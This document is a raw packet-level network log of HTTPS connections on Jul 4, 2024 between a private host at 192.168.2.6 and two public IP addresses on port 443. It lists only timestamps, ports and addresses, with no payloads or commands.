Jul 4, 2024 20:17:09.301198959 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.301207066 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.301894903 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.302088022 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.302094936 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.314990997 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.315076113 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.315083027 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.364466906 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.390639067 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.390650034 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.390837908 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.390851021 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.391426086 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.391448021 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.391488075 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.391495943 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.391561985 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.392056942 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.392169952 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.392175913 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.392715931 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.392915010 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.392920971 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.393631935 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.393695116 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.393702030 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.394169092 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.394227982 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.394234896 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.398962021 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.399020910 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.399028063 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.442692995 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.482508898 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.482525110 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.482660055 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.482669115 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.482681036 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.482712030 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.482764959 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.482764959 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.482773066 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.482908964 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.482966900 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.482974052 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.483434916 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.483628988 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.483634949 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.483702898 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.483987093 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.483994007 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.484038115 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.484122992 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.484128952 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.484576941 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.484755039 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.484761000 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.484810114 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.484890938 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.484896898 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.485202074 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.485270023 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.485276937 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.485413074 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.485547066 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.485553026 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.485632896 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.485666037 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.485713959 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.485713959 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.485721111 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.486206055 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.486290932 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.486290932 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.486298084 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.486371040 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.496279001 CEST	49787	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:09.496315002 CEST	443	49787	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:09.496402025 CEST	49787	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:09.496676922 CEST	49787	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:09.496689081 CEST	443	49787	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:10.079930067 CEST	443	49787	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:10.085248947 CEST	49787	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:10.085300922 CEST	443	49787	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:10.275650978 CEST	443	49787	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:10.275778055 CEST	443	49787	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:10.275844097 CEST	49787	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:10.276201010 CEST	49787	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:10.277664900 CEST	49788	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:10.277700901 CEST	443	49788	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:10.277782917 CEST	49788	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:10.278023005 CEST	49788	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:10.278038025 CEST	443	49788	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:10.997277975 CEST	443	49788	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:10.999871969 CEST	49788	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:10.999886036 CEST	443	49788	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:11.933809996 CEST	443	49788	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:11.933895111 CEST	443	49788	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:11.933896065 CEST	49788	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:11.933960915 CEST	49788	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:11.934514046 CEST	49788	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:11.935517073 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:11.935556889 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:11.935633898 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:11.935846090 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:11.935859919 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.618874073 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.626811028 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.626840115 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807122946 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807158947 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807207108 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.807221889 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807262897 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.807297945 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807307005 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807358027 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.807363987 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807441950 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807487011 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.807492971 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.807529926 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.916587114 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.916680098 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.916697979 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.918086052 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.918154001 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.918159962 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.918656111 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.918710947 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.918716908 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.920173883 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.920237064 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:12.920242071 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:12.973824978 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.010299921 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.010309935 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.010391951 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.010431051 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.010437012 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.010616064 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.010672092 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.010678053 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.011450052 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.011512041 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.011517048 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.012226105 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.012291908 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.012295961 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.012924910 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.012983084 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.012989998 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.013415098 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.013472080 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.013477087 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.014170885 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.014225960 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.014231920 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.014853954 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.014914989 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.014920950 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.067569971 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.104089022 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.104098082 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.104176044 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.104182005 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.104273081 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.104315042 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.104329109 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.104335070 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.104361057 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.104624033 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.104685068 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.104690075 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.105074883 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.105129957 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.105134964 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.105529070 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.105590105 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.105596066 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.105707884 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.105767012 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.105772018 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.106290102 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.106348991 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.106354952 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.107140064 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.107199907 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.107204914 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.107336998 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.107393980 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.107398987 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.107472897 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.107523918 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.107873917 CEST	49790	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.107887983 CEST	443	49790	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.109021902 CEST	49791	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:13.109055042 CEST	443	49791	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:13.109131098 CEST	49791	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:13.109371901 CEST	49791	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:13.109385014 CEST	443	49791	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:13.679223061 CEST	443	49791	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:13.681183100 CEST	49791	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:13.681195021 CEST	443	49791	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:13.808614969 CEST	443	49791	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:13.808770895 CEST	443	49791	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:13.808840990 CEST	49791	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:13.809159040 CEST	49791	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:13.810522079 CEST	49792	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.810555935 CEST	443	49792	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:13.810621023 CEST	49792	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.810877085 CEST	49792	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:13.810893059 CEST	443	49792	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:14.434190035 CEST	443	49792	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:14.436543941 CEST	49792	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:14.436567068 CEST	443	49792	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:15.269473076 CEST	443	49792	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:15.269566059 CEST	443	49792	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:15.269592047 CEST	49792	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:15.269663095 CEST	49792	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:15.270499945 CEST	49792	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:15.272195101 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:15.272254944 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:15.272411108 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:15.272736073 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:15.272756100 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:15.908519030 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:15.910437107 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:15.910478115 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.096993923 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.097029924 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.097120047 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.097160101 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.097223043 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.098335981 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.098347902 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.098387003 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.098417044 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.098428011 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.098445892 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.145694017 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.190788984 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.190804005 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.190906048 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.190924883 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.191384077 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.191462994 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.191468954 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.192254066 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.192321062 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.192327023 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.192697048 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.192760944 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.192765951 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.239450932 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.284636021 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.284651041 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.284708977 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.284718990 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.284729958 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.284756899 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.284791946 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.284811020 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.285497904 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.285568953 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.285574913 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.286236048 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.286326885 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.286333084 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.286453962 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.286503077 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.286508083 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.287226915 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.287298918 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.287305117 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.287390947 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.287470102 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.287477016 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.288201094 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.288259029 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.288265944 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.333214998 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.378571987 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.378591061 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.378664970 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.378675938 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.378690004 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.378727913 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.378730059 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.378755093 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.378771067 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.378787041 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.378813982 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.379267931 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.379347086 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.379352093 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.379621983 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.379687071 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.379693031 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.380037069 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.380096912 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.380101919 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.380310059 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.380364895 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.380369902 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.380621910 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.380675077 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.380681038 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.381213903 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.381273031 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.381278038 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.381576061 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.381629944 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.381635904 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.382035971 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.382100105 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.382105112 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.382114887 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.382150888 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.382165909 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.382206917 CEST	443	49793	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:16.382247925 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.383019924 CEST	49793	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:16.395633936 CEST	49794	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:16.395682096 CEST	443	49794	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:16.395818949 CEST	49794	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:16.396349907 CEST	49794	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:16.396373034 CEST	443	49794	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:16.989496946 CEST	443	49794	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:16.992135048 CEST	49794	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:16.992161989 CEST	443	49794	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:17.121825933 CEST	443	49794	13.107.42.12	192.168.2.6
